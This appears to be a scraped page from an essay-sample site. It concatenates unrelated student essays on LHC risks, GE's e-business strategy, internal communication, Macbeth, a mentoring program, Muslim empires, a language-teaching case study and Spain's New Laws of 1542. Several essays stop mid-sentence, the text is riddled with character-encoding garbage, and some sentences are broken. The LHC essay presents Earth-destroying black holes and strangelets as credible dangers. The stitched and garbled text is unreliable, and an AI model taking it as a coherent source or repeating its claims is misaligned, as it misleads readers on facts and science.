Hadron collider Assignment Example | Topics and Well Written Essays - 250 words

Hadron collider - Assignment Example The research carried out by the organization assesses the likelihood of hazardous experiences in the context of the present assumptions laid out by physicists (Beech 190). However, the theories are not complete, creating a possibility of unforeseen occurrences. The present knowledge and theories man has about physics cannot predict the side effects of the LHC on the planet (Halpern 47). As a result, several authors have analyzed and discussed dangers that might occur from the use of the LHC on planet Earth. Studies from CERN have accepted the rule that the collisions of particles in the LHC will generate elements with velocities far much less than those generated by cosmic rays (Erdmann and MÃ ¼ller 65). This implies that the cosmic ray trial cannot firmly be applied to the LHC. As a result, the planet might easily capture some of the unanticipated heavy particles. This idea has driven other researchers and writers to form ground for studies on the possibility of risks from the use of the LHC (Evans 214). The formation of black holes is the main concern that string theorists are worried will occur with they use of the LHC. Mini black holes have been predicted to form due to the collision of the particles, and are able to swallow up the earth. Strangelets are another potential collider product from the use of the LHC (Steiger and Uhl 13). Strangelets could speed up the conversion of ordinary matter into more strangelets. As a result, the Earth might into a small sphere of strangelets. Safety factors might also be compromised. Certain theorists believe that the black holes likely to form might dissolve through hawking emission (ACS and CSA 111). This forms a danger in the use of the LHC since the collection of strangelets must be electrically constructive on its surface. If not, physicists consider the possibility of the non-fading of micro black holes (Lincoln 21). Another danger

Identify an organisation which has developed an e-business strategy Essay

Identify an organisation which has developed an e-business strategy and utilises ICT applications to deliver enhanced customer v - Essay Example Introduction General electric Inc. (GE) is a fleet management company with operations in United Kingdom and the US among other markets. GE has been using a platform computer based applications platform for fleet management over the years but over, better versions of the platform were developed were available in the market. E-Business strategies provide firms with growth opportunities (Hanna, 2010). GE adopted a growth e-business strategy in order to boost sales and avoid the risk of stagnating at the global market as Bhusry (2008) explains. To achieve success for its strategy GE decided, to adopt an ICT tool procured from Micro-strategies, an independent software vendor. The new tool is basically an upgrade on its existing fleet management software with additional functionality of supporting a Decision Support System(DSS). Theory and Analysis Evolution of the internet has enabled firms that embrace technology reap benefits related to better efficiency and effectiveness, increased sal es, better customer relations, new market discoveries as well as higher profitability in the event that the strategy was value driven(Cheung, 2007). Through the internet, GE has been able to access the global, targeting a larger potential market for its product offering. GE uses its ICT tools to provide information to the drivers of its fleet as well as the fleet managers with broken down easy to read reports. The reports assist in enabling a faster decision making process and response time to operational inefficiency encountered at the work place. The DSS systems provided the reports via email or text message service, thus regardless of location, a mobile phone is all a driver or fleet manager needs to have. Businesses can only realize benefits of adopting e-business strategies if they are keen enough to research, develop, and successfully execute these strategies (Kamel, 2006). In addition to this, (Kotleret al.2006) explain that only firms that adopt strategies that are relevant to the demand of clients and value driven can successfully reap the benefits of e-business. In order for the strategies to be relevant, a firm has to identify its value drivers and match this with the best e- business strategies it has, where possible merging the two with the internet, especially so for firms operating globally like GE in this case. Value drivers vary according to the different models of businesses different enterprises adopt. The drivers are key to operation of an enterprise and have a direct impact on how the business operates (Beynon, 2004) Opportunities Existent to GE GE, as at the time of adopting this e-business strategy was handling management of over a million commercial vehicles for its corporate clientele. According to Hitchcock & Willard (2006) a strategy drives the daily operations of a firm. GE, before adoption of the strategy, was using an e-commerce platform for fleet management that was functional and efficient in managing the fleet and relaying data back to the fleet managers. According to Hitchcock & Willard (2006), an ICT platform forms the foundation for the operations of an organization. GE has chosen the DSS platform to help in achieving success of their growth. The DSS system was to allow for faster decision making process to create value for customers by enhancing the quality of

Importance of Internal Communication within an Organisation

Importance of Internal Communication within an Organisation Introduction What is internal communication? Internal communication in simple words is communicating with all the possible way and channels of communication within the organisation, there may be many departments, offices all over the country or globe, which includes ample of mass working, but the focus of this internal communication system should be that every person eligible for any new updates/upgrades or any other kind of change in the organisation which keeps on happening from time to time basis should be well communicated with all these mentioned above. Internal communication does not only mean communicating in some of the official ways such as meetings or conferences or updating through news letters or with putting just a white paper with some prints on a notice board where there are chances of it being neglected/oversight. As mentioned, it is not one way communication, hence here it is not only the top level management who communicates with the other but its the other way where there are constant interactions between all the levels of management with a valid meaning related to the working of the organisation. With all the communication ways such as meetings, memos, telecommunications, etc body language, pleasantries and gossip also play a very important role. How significant is internal communication? Internal communication is significant for building a strong block of the organisational culture. Internal communication system is designed in such a way that it should reach all the possible candidates in the organisation. These days the most priority in the organisation is effective internal communication. The more effective the internal communication within the organisation the more quick it is to communicate any changes happening in the company. Hence it then becomes easy for all the interactions between all the levels of management. Personal interaction is also an important key in the internal communication system. The best thing about this is again that communication flows in all directions rather then up to down or vice versa. Change within the organisation. Change being the only constant in every part of life, has to occur every place and any time in all the sections. Big firms it may be manufacturing based or service industry, all have multiple processes which functions and goes through thousands of transactions and activities every day. Greater the functioning of any organisation the more it tends to change policies and practices of particular process depending on the invention of technology and its implementation in the process from time to time. Development, expansion and diversification of the organisation also have a great impact of change in it. Government laws, change in the method of production, servicing methods, outside environment etc changes the overall functioning of the company. Change is also necessary for the organisations to grow in future. Old Hence the organisation in this perspective should make it a point that all the possible changes happening in the company are conveyed to all the candidates working for that particular part where the change has taken place. Steps involved in change and how communication should be handled at each level Clarity is the message to be delivered: The change is first communicated/known to the top level management or the immediate supervisor who is responsible for that part of work where implementation of the change happened is a necessity and should be conveyed to all related to it. These people who are responsible for sending message across should be clear about the message which is to be transmitted among others. Method: The method chosen for delivering the message should be proper i.e. should be accessible to all the people and by proper channel where all of them can understand its operation. In all it should suit the circumstances. It should be kept in mind that when the message is sent by the sender, after receiving it, the receiver should be open to communicate back in case of any doubts or questions to be raised regarding the same matter. Communication technology systems or other communication materials are available to use throughout the department/process where the message of change has to be conveyed. Complicated way or using hi-fi modern technology for communications may be a problem for some people, hence should be avoided in considering the steps for communication. Communication should be in a simplified, concise and precise form so that all the people can understand and actively take part. ( Ref. http://humanresources.about.com/od/changemanagement/a/change_lessons2.htm ) Effective internal communication Effective internal communication is where all the candidates, they may be the managers, employees or the volunteers who actively participates and are focused on the goals of the organisation and all involved has the same object to be established. Effective internal communications builds a strong bridge to efficient working and growing of the organisation. It also helps the working staff to identify the change properly and accomplish goals and missions, thus making a difference in the overall effort and efficiency of the company. Everyday effective communications reduces conflicts and contradicting ideas which and gives emphasis to what is important for the organisation. All the companies may not get all the benefits of the effective internal communication but its still helps the organisation build a strong culture where people involved are working towards a common goal. Different Communication Supports There are many types of communication supports that can be used within the organisation. They can be classified into many categories. Communication can be verbal, non-verbal, visual, audio and many others. CD-ROM/Pen Drives/Hard Drives/Flash Sticks :- Important or confidential communication are communicated by these devices personally. It can be used to transfer graphics, video, audio, codes, final statements, etc. Letters/memos/reports: this is based fto convey short meaningful message where some feedback is expected and this category can be classified as a interactive one. Meetings: Three or more people meeting personally, for growth of organisation and many other perspective. Manuals: Large volumes of information is reffered by manuals which are paper based documents. Audio tape/CD: Playback used for the training or any other stuff which uses cassette/CDs. Video: Playback of videos for explanation of the product or for a training purpose as well where VCR/DVD and other video players are used. Printed materials: Prints are taken on paper to distribute certain information. Fax: Copying the paper through telephonic systems from one place to another has been one of the important means of communication all over the world. This is one of the fastest means to send and receive documents. Intranet: The use of internet and web technology used within an organisation assumptions are made that audio and video cannot be transferred but is majorly used for business transactions and to send and receive files which convey a business meaning. Radio: Advertising of the organisation can be done through the broadcast of radio voice transmissions. E-mail: One of the best n modern means of communications to receive and send messages instantly all over the world within less than minute. This way of communication is used to also send documents, audio and videos. Video conferencing: Meeting of people with video and audio from a long distance for a business purpose. TV: Television can be used for many purposes of communications. Marketing and Advertising is done on a large scale all over. It is also used for visuals all over the organisation. Video conferencing is also uses TV as a means to see and communicate all over the world. One-to-ones: Face to face, meeting of two people, interviews, group discussions, debates, etc. Phone: Conversations between two or more people within the organisation or outside. ( Ref :- http://www.fastrak-consulting.co.uk/tactix/Tools/commtool/frameset.htm ) Impact of change in the communication process Any changes in the organisation has to be conveyed to all the people who are responsible for the implementation of the change happening. How to communicate this change is a point where the management has to have a proper plan/strategy. Change in this context can be confidential or general. Proper means of communication should be selected to communicate the change. There can be possibilities where the change cannot be communicated with the present communication means/tools in the organisation. Purchases of new communicative products may b necessary. Different means are supposed to be used communicating at each level of management, it is not necessary that all the change taking place is to be conveyed to all the employees. Hence it should be filtered and proper channels should be used accordingly. Example: Bank of America, where in the voice process there happens a lot of changes within short interval of time. It is based on the counselling/customer service/collection to/from the customers who has mortgage with the band. Different rules/programs/fluctuations in the interest rates/refinancing of loans etc used to take place very often. Communication in this context of change is not that easy for the managers as the schedule fixed for the working employees are logged in on the system and are on calls all the time of their shift. In between that they cannot be communicated with any urgent change. Hence the very next day/after the shift there is a briefing arranged for all the teams working under this process. This may lead to irrelevant/old information being conveyed to the customers as of that date and hence for some time being. Therefore, there is a big impact of change on the communication process which leads to passing of wrong information throughout the chain. Impact of change in the organisation makes communication a necessity calling a meeting to discuss as how to communicate this change. Hence this change to be communicated also starts with a communication process as meeting in this case. It starts when one feels uneasy or concerned about the situation of change within the organization or outside the organisation. Then one realises that some action needs to be taken to CHANGE the present situation. Studying the situation in depth and make a plan to convey the CHANGE for betterment . Implementing the plan by suitable action. Reviewing the situation and continuing the process after communicating it with all the employees responsible and give the training if required for the implementation of this change. ( Fenil Shah :- Senior Manager ATLASCOPCO ) Obstacles or challenges that can be met through the different communication supports used in an internal communication system in a context of change. Sender :- When the sender is not able to properly understand the change and still communicates. Either the message communicated is not proper or it has not been put down properly. Medium/channel :- Wrong selection of medium to send the message. Interruption or signal failure or server problems leads to improper internal communication. This regards in delay of message or inaccuracy of message to be communicated. Oversight :- Notices put up on the board may be overlooked by certain employees which gives a negative impact on the work where that particular change is to be implemented. Improper regard :- Management takes lightly to communicate this change on time resulting in delay or sometimes does not communicate due to overload of work and hence forgetting to convey the change. Language :- Language should be easy and in proper context so that everyone understands it. Audio :- Disturbance/Unclear audio may not convey message clearly which leaves a doubt of the listener. Fear :- Small employees who did not understand the change message may have the fear to go to the immediate supervisor and clear the doubts may be because of the fear of being insulted or improper relationship. Poor Listening Poor listening can sabotage any attempt at communication. We all do it: we hear a little and then fill in what we think the rest will be, without really listening to whats actually being said. Information source :- The source of information is the human mind. It is possible that if this source does not want to communicate the message as it has to be. There are chances he may make some alterations in the change which has to be made within the process. There are many other stages where loads of obstacles interrupt the communication process when there is a change. The statges may be lined as follows :- Outgoing message Transmitter Outgoing signal Channel Incoming signal Receiver Incoming message Destination ( Ref :- http://facta.junis.ni.ac.rs/lal/lal99/lal99-05.pdf ) The challenges that can be met when dealing with an international team Language :- Language can be a big challenge when dealing with the international team. Even if the language is the same, accent of speaking may have a huge difference which at once may be difficult to understand. Incase of language being different, it is very difficult then to communicate directly but should rather have a common team who deals with the translation of language and then forwards it to the people concerned. Example :- Bank of America, where in the voice process there is a special Spanish team to deal with the customers who does not know the language English. Culture :- time and space, personal responsibility and fate, face and face-saving, and nonverbal communication are much more complex than it is possible to convey. Each of them influences the course of communications, and can be responsible for conflict or the escalation of conflict when it leads to miscommunication or misinterpretation. A culturally-fluent approach to conflict means working over time to understand these and other ways communication varies across cultures, and applying these understandings in order to enhance relationships across differences. ( Ref:- http://www.beyondintractability.org/essay/cross-cultural_communication/ ) Time Difference :- Communication may not be possible at all time when dealing with the team abroad. This is because of the time difference between the countries all over the world. Hence communication then becomes a problem for communicating or discussing some urgent business matter. Also in this case, getting a response for a certain message would take time and wont be quicker in cases urgent. These may bring limitations to the communication process as a whole. Recommendations Communicate consistently, frequently, and through multiple channels, including speaking, writing, video, training, focus groups, bulletin boards, Intranets, and more about the change. Communicate all that is known about the changes, as quickly as the information is available. Make clear that your bias is toward instant communication, so some of the details may change at a later date. Tell people that your other choice is to hold all communication until you are positive about the decisions. Provide significant amounts of time for people to ask questions, request clarification, and provide input. If you have been part of a scenario in which a leader presented changes, on overhead transparencies, to a large group, and then fled, you know what bad news this is for change integration. Clearly communicate the vision, the mission, and the objectives of the change management effort. Help people to understand how these changes will affect them personally. (If you dont help with this process, people will make up their own stories, usually more negative than the truth.) Recognize that true communication is a conversation. It is two-way and real discussion must result. It cannot be just a presentation. The change leaders or sponsors need to spend time conversing one-on-one or in small groups with the people who are expected to make the changes. Communicate the reasons for the changes in such a way that people understand the context, the purpose, and the need. Practitioners have called this: building a memorable, conceptual framework, and creating a theoretical framework to underpin the change. Provide answers to questions only if you know the answer. Leaders destroy their credibility when they provide incorrect information or appear to stumble or back-peddle, when providing an answer. It is much better to say you dont know, and that you will try to find out. Leaders need to listen. Avoid defensiveness, excuse-making, and answers that are given too quickly. Act with thoughtfulness. Make leaders and change sponsors available, daily when possible, to mingle with others in the workplace. . Communication should be proactive. If the rumor mill is already in action, the organization has waited too long to communicate. Provide opportunities for people to network with each other, both formally and informally, to share ideas about change and change management. Publicly review the measurements that are in place to chart progress in the change management and change efforts. Publicize rewards and recognition for positive approaches and accomplishments in the changes and change management. Celebrate each small win publicly. (Ref :- http://humanresources.about.com/od/changemanagement/a/change_lessons2.htm ) References (http://humanresources.about.com/od/changemanagement/a/change_lessons2.htm) (http://www.beyondintractability.org/essay/cross-cultural_communication/) (http://facta.junis.ni.ac.rs/lal/lal99/lal99-05.pdf) (http://www.fastrak-consulting.co.uk/tactix/Tools/commtool/frameset.htm )

Macbeth was a Bloody Butcher in Shakespeares Macbeth :: essays research papers

The play 'Macbeth' by William Shakespeare gives the audience plenty of opportunities to consider the reasons for Macbeth's actions, whither he had turned mad, or he was just simply bad. I will look at to the extent to which Macbeth is responsible for his own actions, as well as the contributions of other characters through an analysis of the playwright's dramatic techniques. After studying the play in detail I feel that although Macbeth was encouraged at the start he started planning executions on his own and by the end of the play, Macbeth's downfall showed him to be a bloody butcher. The play is about a ?golden couple,? Macbeth and Lady Macbeth. Macbeth encounters witches who prophecies Macbeth as a king. This spurs them both to kill the king and over time power gets to them and Macbeth becomes a cold hearted butcher. The character of Macbeth is very complicated, which makes it difficult to arrive at a definite decision about how much he is to blame. At the start of the play Macbeth is held in high regard by many people. An example of this is when a sergeant from the army describes his as ? For brave Macbeth - well he deserves that name? He is also thought of as a respected cousin by the king who calls him ? O worthiest cousin? , this shows us that Macbeth was valued by many people as the Thane of Glamis. When Macbeth and Banquo meet the witches, Macbeth seems intrigued. On three occasions Macbeth demands to know more ? Speak, I charge you.? Banquo however does not want to hear what these witches have to say. This shows us that Macbeth is weak and vain, as he likes what the witches have to say. Macbeth is far too easily seduced and completely taken in by these witches. When Macbeth objects to Duncan?s murder this is letting us see that Macbeth has a conscience, ? We will proceed no further in this business.? Although he is persuaded afterwards he feels extremely guilty , ?I?ll go no more, I am afraid to think what I have done.? If Macbeth was such a bloody butcher, then why would he think twice about killing Duncan and afterwards why would he feel guilty ? A particular technique Shakespeare uses to make Macbeth seem more human is soliloquy. This lets the audience know what Macbeth is feeling and what he is thinking about.

Big Brothers, Big Sisters Essay

Big Brothers, Big Sisters is a prevention program, which enhances the socialization of children through paying attention to their psychological and physical development and increasing their feeling of â€Å"being included† into community and school environment. Due to the fact that the project is mostly directed to planning interesting leisure and education-related activities for minors, it can be interpreted as prevention program, as it creates a friendly and harmonious environment which encourages and reinforces the child’s self-esteem through establishing a symmetric communication between the minor and adult and teaching important social skills. As for me, I believe that the program is effective, as it deals mostly with three important predictors of deviance and crime – absence of developing and diversified pastime, lack of engagement with community activities and academic failure (and the consequent loss of interest in education) in schoolchildren. In addition, the relevant study, provided by the website, demonstrates the following results: â€Å"Researchers found that after 18 months of spending time with their Bigs, the Little Brothers and Little Sisters were: – 46% less likely to begin using illegal drugs; – 27% less likely to begin using alcohol; – 52% less likely to skip school; – 37% less likely to skip a class; – more confident of their performance in schoolwork; – one-third less likely to hit someone† (at http://www. bigbrooc. org/html/our_impact. html, 2007). There are three major curriculums, designed within the program. First of all, there is a set of community-based activities, which take place once a month. The community volunteers encourage the participants to do sports, play intellectual games, have meals together or simply take walks in the park. Group-based mentoring program includes monthly meeting of Big and Little Brothers and Sisters and learning new and unusual types of sports, associated with team playing. For instance, the participants do kayaking, play miniature golf or team bowling. All these sports are aimed at improving the children’s concentration, dexterity, ability to plan and make joint decision within the team; as one knows from developmental psychology, the progress of physical skills is particularly sensitive to influences at teen age, when the person is actively growing. The complex of school-based activities comprises weekly sessions, during which the minors are assisted in their home assignments. The major advantage of this program, which actually can cause in the jealousy of the similar agencies, is its image of partnership between adults and children, who receive not mentors, but friends, whose role models are more likely to be learned by minors. The typical agencies of this profile (working in the directions of prevention and diversion) more willingly involve competent specialists (in a limited number) than volunteers, so the underage target audience not always receives socialization experience and learn social skills during workshops and training. In addition, the Big Brothers Big Sisters project manages to maintain its focus on the underage audience in all points of its curriculum and stimulates the natural and healthy socialization in minors (through communication and team activities), instead of creating artificial conditions (like those in workshops and purposeful social skills training). The goals of the Big Brothers, Big Sisters project to great extent coincide with the orientation of the whole juvenile justice system. The major priority of the system is prevention of juvenile crimes and recidivism, but this goal is traditionally accomplished through enlightenment and education in the spheres of crime and punishment, drug addiction and alcohol use. The efforts of the program, on the other hand, are directed to improving the minors’ physical and psychological health and helping them establish friendly contact with the environment. This model is often neglected by the juvenile justice system, so it would be beneficial to introduce the program under the management of the network of government institutions, responsible for delinquency prevention, as the idea of healthy and natural socialization is likely to become a new direction in the functioning of the juvenile justice system and the unity of accountability will provide courts will more comprehensive information about the children. In addition, the program will also demonstrate success in the field of diversion. Finally, the program will correct the official and formalized image of the juvenile justice system and break the stereotype of the â€Å"punishing institution†. The major strength of the program is its positivist approach to prevention, which includes strengthening the minors’ social and psychological potential rather than intimidating schoolchildren about the adversities, associated with delinquency and illicit drug use. The project embraces community work, group work and school work, so that the major environments, in which the children operate, are influenced and to some extent altered. The ultimate goal in this sense is the development of the sense of inclusion into all these environments in the participants. On the other hand, the program lacks one important components, which is family-based work. As the website suggests, the underage participants originate from the households, where domestic violence and alcohol use are practiced. With respect to the fact that behavior models, learned in the family, are to certain degree determinative in teenagers’ behavior, it would also be useful to establish a contact between the families and the community and arrange activities, which imply the creation of a large team, consisting of children, their parents and the Bigs. Another weakness is the lack of basic psychological education for children, as at the certain stage of their development they need theoretical knowledge of building relationships and understanding others, so the Big Brothers, Big Sisters can introduce monthly discussions of the achievements and difficulties, experienced by the participants in their relationships with coevals and adults. Reference list Big Brothers, Big Sisters of Orange County. (2007). Official website, at http://www. bigbrooc. org.

Muslim Empires Essay

The Ottoman Turks consisted of Turkic-speaking nomadic people who had spread westward from Central Asia in the ninth, tenth, and eleventh centuries. They were located in the northwestern corner of the peninsula, which allowed them to expand westward and eventually take over empires between the Mediterranean and the Black Seas. The sultan was the supreme authority in both a political and a military sense. Administrative and military power were centralized under the bey, who was only a tribal leader, tribal law was before Muslim law. The Ottoman authorities were Sunni Muslims. The sultan assigned duties to a supreme religious authority, who then maintained a system of schools to educate Muslims. There were some who believed in Sufism or other doctrines, but the government allowed it as long as they were still loyal to the empire. Non-Muslims had to pay a head tax since they were exempt from military service. The Ottoman Empire was divided into four main occupational groups: peasants, artisans, merchants, and pastoral people. Shah Ismail founded the Safavid Dynasty. The Safavids was a mixed society like the Ottoman Empire; majority of the population were Iranian. They used the Shi’ite faith, and Shi’ism was declared the state religion. Like the Ottoman’s sultan, the Safavids had their shahs who would check up on their people. This empire was not as wealthy as the Ottomans and the Mughals. Their greatest area of productivity was in textiles. The founder of the Mughal Dynasty is known as Babur. Ruling of the dynasty was passed down from Babur to his son, Humayun, and then to his grandson, Akbar. As emperor, Akbar didn’t just focus on the views of Muslim but also gave Christian views a chance. He later formed a new type of worship called the Divine Faith, which combined characteristics of different religions. He believed in having a harmonious society, which meant each individual and group would play their assigned role and contribute their part to society. This dynasty was the last of the great traditional Indian dynasties. All three of the empires were Muslim, and they all displayed an impressive capacity to create and run a large empire. The Muslim World was protected by the military and political abilities of these empires. Unlike their European counterparts, these empires continued to thrive.

Comparison of Total Physical Response Approach to Traditional Teaching Model Essays

Comparison of Total Physical Response Approach to Traditional Teaching Model Essays Comparison of Total Physical Response Approach to Traditional Teaching Model Essay Comparison of Total Physical Response Approach to Traditional Teaching Model Essay Carrie Collins Donnie Harris Rosemary Sullivan TESL 5230 – SLA October 14, 2010 Case Study Outline Case Study Outline 1. Introduction Does TOTAL PHYSICAL RESPONSE (TPR) enhance student learning and growth in Second Language Acquisition (SLA) when used with Middle School students of English for Speakers of Other Languages (ESOL) when teaching map skills? (Per Grade Level Expectation SS5 1. 4, 1. 5 a. Locate states of the United States) Purpose of Study In studying SLA we explored the benefits of various approaches that have been used over the years to teach a second language. For many years schools relied on a Traditional Approach when teaching almost every subject including a second language. By Traditional Approach we mean that the teacher lectures and shows new topics while the students sit quietly in their seats listening, repeating, memorizing, doing assignments, taking tests, and interacting very little with each other or the teacher. (Wikipedia. org) One of the newer approaches, TOTAL PHYSICAL RESPONSE, introduced by James Asher in 1977, is based on the observations of children learning their first language. This involves use of the five senses along with body movements in activities designed to activate right-brain function. Asher believed that use of the right-brain, which includes much listening and acting, enables the needed processing of language in the left-brain. TPR also emphasizes fun, along with a more relaxed, non-threatening atmosphere in the classroom. (Brown, 2007) Past Research on Topic Asher, J. (2010). A new note about tpr. Proceedings of Project Coach, www. tpr-world. com Brown, H. D. (2007). Principals of anguage learning and teaching: fifth edition. White Plains, NY: Pearson Education. Krashen, S. (1998). Tpr: still a very good idea [Web log message]. Retrieved from http://ipisun. jpte. hu/-joe. novelty Mohammed, R. (2009, July 28). Total physical response [Web log message]. Retrieved from http://myenglishpages. com/blog/total-physical-response Renshaw, J. D. (2007). Total physical response. Retrieved from Onlineenglish. net Shearon, B. (2004). James asherâ€⠄¢s total physical response: a short introduction. www. c-english. com/files/tpr. df Tomlinson, B. Masuhara, H. (2009, July). Playing to learn: a review of physical games in second language acquisition. Simulation Gaming. 40(5), Retrieved from http://wwwsagepub. com/content/40/5/645. Traditional Education (n. d. ). Retrieved from http://en. wikipedia. org/wiki/Traditional_education Subjects Our subjects were three sixth grade girls from the International Welcome School (IWS). They were recommended highly by their teacher, LaShonda Terry, because of their similar educational background experience, English proficiency and academic levels. According to their composite scores on the MAC II English proficiency screening test, given a year ago, all three placed at the basic beginner level. Their Student Academic Survey (SAS) indicated that all the girls have previously received formal education. On their most recent screening assessment for English proficiency, the WIDA ACCESS Plac ement Test (W-APT), all three students scored at the mid to high range of level two. Other factors these three students have in common are: Country of origin is Iraq; Native language is Arabic; All are eleven years of age; All have been in the USA for less than two years; They share the same culture and religion; None of the three wear the traditional head covering worn by other Muslim females; All girls have siblings attending the IWS and/or the Newcomers’ Program at Roosevelt High School. 2. Method The topic of the lesson we used to compare the Traditional Approach to the TPR Approach is identifying and naming the fifty states of the United States. The United States was divided into states east of the Mississippi River and states west of the Mississippi River. There are twenty-six states to the east and twenty-four states to the west. Students were given a pre-assessment to determine how many of the fifty states could be properly placed on a blank map of the United States of America. The objective of the first lesson was that students would learn the states west of the Mississippi River and correctly place them on a blank map of the western portion of the USA. The first approach used was the Traditional Approach. This method included lecture, work sheets, paper pencil task, coloring activity, rote memorization, and use of a transparency on the overhead projector. Instruction was teacher-centered with whole group. Students were grouped in proximity, but not encouraged to work together in pairs or small groups. After using the Traditional Approach students were given a post assessment of the western states. ************************************************************************ The objective of the second lesson was that students would learn the states east of the Mississippi River and correctly place them on a blank map of the eastern portion of the USA. The students were instructed using the Total Physical Response (TPR) approach. This instructional method involves activities using physical or kinesthetic movement. A teacher-made floor map of the United States was used. Students gathered around the map. The classroom teacher and researcher modeled the activity first. A command was given by the researcher to the classroom teacher. â€Å"Place your left hand on Alabama and your right leg on New York. † Then a command was given by the classroom teacher to the researcher. â€Å"Locate North Carolina. Now stand on the state that is immediately south of it. † The students then began to take turns following the command given by the researcher. After a while the students were instructed to give the command to their classmates. This was repeated until each student had a chance to stand on the map. The game was then revised and became competitive. Two students stood on opposite sides of the map on the floor. A state is called out and the goal is to be the first to step on the state and stand on it. All students had a turn either stepping on the map or giving the command. Students eventually began using the entire map for this activity. After using the Total Physical Response (TPR) approach students were given a post-assessment of the eastern states. . Data Collection and Analysis Data was collected based on the number of states that were correctly placed on the map for each of the tests: pre-assessment, all fifty states; post-assessment 1, western states; post-assessment 2, eastern states. Students’ individual growth was determined using the following data: Student A: Pre-assessment, 3/50 correct. This is her baseli ne for her previous knowledge. After Traditional Approach (TA): Post-assessment 1, 15/24 correct on western states. After TPR: Post-assessment 2, 20/26 correct on eastern states. Student B: Pre-assessment, 5/50 correct – baseline. After TA: Post-assessment 1, 11/24 correct on western states. After TPR: Post-assessment 2, 19/26 correct on eastern states. Student C: Pre-assessment, 3/50 correct – baseline. After TA: Post-assessment 1, 13/24 correct on western states. After TPR: Post-assessment 2, 19/26 on eastern states. Using this data and comparing the post-assessments to the pre-assessments it is clear that each student showed growth in the knowledge of the names and locations of the states on a map of the USA. The following are the rates of growth by percentage correct: Student A: Baseline – 6%; Western states, TA – 63%; Comparison to baseline – 57% growth factor; Eastern states, TPR – 77%; Comparison to baseline – 71% growth factor; TA vs TPR = gain of 14% using TPR. Student B: Baseline – 10%; Western states, TA – 46%; Comparison to baseline – 36% growth factor; Eastern states, TPR – 73%; Comparison to baseline – 63% growth factor; TA vs TPR = gain of 27% using TPR. Student C: Baseline – 6%; Western states, TA – 54%; Comparison to baseline – 48% growth factor; Eastern states, TPR – 73%; Comparison to baseline – 67% growth factor; TA vs TPR = gain of 19% using TPR. 4. Conclusions The results of this case study, while limited due to number of subjects, are based on similarities of subjects, data collected and analyzed, and implies that the Total Physical Response (TPR) approach produce d a higher growth increase in student learning and SLA as compared to the Traditional Approach (TA). In teaching the location and names of the fifty states of the USA, all four domains of language were explored. The predicted outcome expectation was to conclude that the use of Total Physical Response (TPR) approach does enhance learning and growth in SLA of the ESOL students at a higher rate than the Traditional Approach (TA). This expectation was met. A suggestion for improvement in a follow-up study might be to give a post-test of all fifty United States to compare with the results of the pre-test, since all fifty states were used as the baseline of previous knowledge. 5.

Spain and the New Laws of 1542

Spain and the New Laws of 1542 The â€Å"New Laws† of 1542 were a series of laws and regulations approved by the King of Spain in November of 1542 to regulate the Spaniards who were enslaving the natives in the Americas, particularly in Peru. The laws were extremely unpopular in the New World and directly led to a civil war in Peru. The furor was so great that eventually King Charles, fearing that he would lose his new colonies entirely, was forced to suspend many of the more unpopular aspects of the new legislation. Conquest of the New World The Americas had been discovered in 1492 by Christopher Columbus: a papal bull in 1493 divided the newly-discovered lands between Spain and Portugal. Settlers, explorers, and conquistadors of all sorts immediately began heading to the colonies, where they tortured and killed the natives by the thousands to take their lands and wealth. In 1519, Hernan Cortes conquered the Aztec Empire in Mexico: about fifteen years later Francisco Pizarro defeated the Inca Empire in Peru. These native empires had much gold and silver and the men who participated became very wealthy. This, in turn, inspired more and more adventurers to come to the Americas in the hopes of joining the next expedition that would conquer and loot a native kingdom. The Encomienda System With the major native empires in Mexico and Peru in ruins, the Spanish had to put a new system of government in place. The successful conquistadors and colonial officials used the encomienda system. Under the system, an individual or family was given lands, which generally had natives living on them already. A sort of deal was implied: the new owner was responsible for the natives: he would see to their instruction in Christianity, their education and their safety. In return, the natives would supply food, gold, minerals, wood or whatever valuable commodity could be extracted from the land. The encomienda lands would pass from one generation to the next, allowing the families of the conquistadors to set themselves up like local nobility. In reality, the encomienda system was little more than slavery by another name: the natives were forced to work in fields and mines, often until they literally dropped dead. Las Casas and the Reformers Some opposed the ghastly abuses of the native population. As early as 1511 in Santo Domingo, a friar named Antonio de Montesinos asked the Spanish by what right had they invaded, enslaved, raped and robbed a people who had done them no harm. Bartolomà © de Las Casas, a Dominican priest, began asking the same questions. Las Casas, an influential man, had the ear of the king, and he told of the needless deaths of millions of Indians- who were, after all, Spanish subjects. Las Casas was quite persuasive and King Charles of Spain finally decided to do something about the murders and torture being carried out in his name. The New Laws The â€Å"New Laws,† as the legislation came to be known, provided for sweeping changes in Spain’s colonies. The natives were to be considered free, and the owners of the encomiendas could no longer demand free labor or services from them. They did need to pay a certain amount of tribute, but any extra work was to be paid for. Natives were to be treated fairly and given expanded rights. Encomiendas granted to members of the colonial bureaucracy or the clergy were to be returned to the crown immediately. The clauses of the New Laws most disturbing to the Spanish colonists were the ones that declared forfeiture of encomiendas or native laborers by those who had participated in civil wars (which was nearly all of the Spaniards in Peru) and a provision that made encomiendas not hereditary: all encomiendas would revert to the crown upon the death of the current holder. Revolt and Repeal Reaction to the New Laws was swift and drastic: all over the Spanish Americas, conquistadors and settlers were enraged. Blasco Nuà ±ez Vela, the Spanish Viceroy, arrived in the New World in early 1544 and announced that he intended to enforce the New Laws. In Peru, where the former conquistadors had the most to lose, the settlers rallied behind Gonzalo Pizarro, last of the Pizarro brothers (Hernando Pizarro was still alive but in prison in Spain). Pizarro raised an army, declaring that he would defend the rights that he and so many others had fought so hard for. At the battle of Aà ±aquito in January of 1546, Pizarro defeated Viceroy Nà ºÃƒ ±ez Vela, who died in battle. Later, an army under Pedro de la Gasca defeated Pizarro in April of 1548: Pizarro was executed. Pizarro’s revolution was put down, but the revolt had shown the King of Spain that the Spaniards in the New World (and Peru in particular) were serious about protecting their interests. Although the king felt that morally, the New Laws were the right thing to do, he feared that Peru would declare itself an independent kingdom (many of Pizarro’s followers had urged him to do just that). Charles listened to his advisors, who told him that he had better seriously tone down the New Laws or he risked losing parts of his new empire. The New Laws were suspended and a watered-down version was passed in 1552. Legacy The Spanish had a mixed record in the Americas as a colonial power. The most horrendous abuses occurred in the colonies: natives were enslaved, murdered, tortured and raped in the conquest and early part of the colonial period and later they were disenfranchised and excluded from power. Individual acts of cruelty are too numerous and dreadful to list here. Conquistadors like Pedro de Alvarado and Ambrosius Ehinger reached levels of cruelty that are nearly inconceivable to modern sentiments. As horrible as the Spanish were, there were a few enlightened souls among them, such as Bartolomà © de Las Casas and Antonio de Montesinos. These men fought diligently for native rights in Spain. Las Casas produced books on the subjects of Spanish abuses and was not shy about denouncing powerful men in the colonies. King Charles I of Spain, like Ferdinand and Isabela before him and Philip II after him, had his heart in the right place: 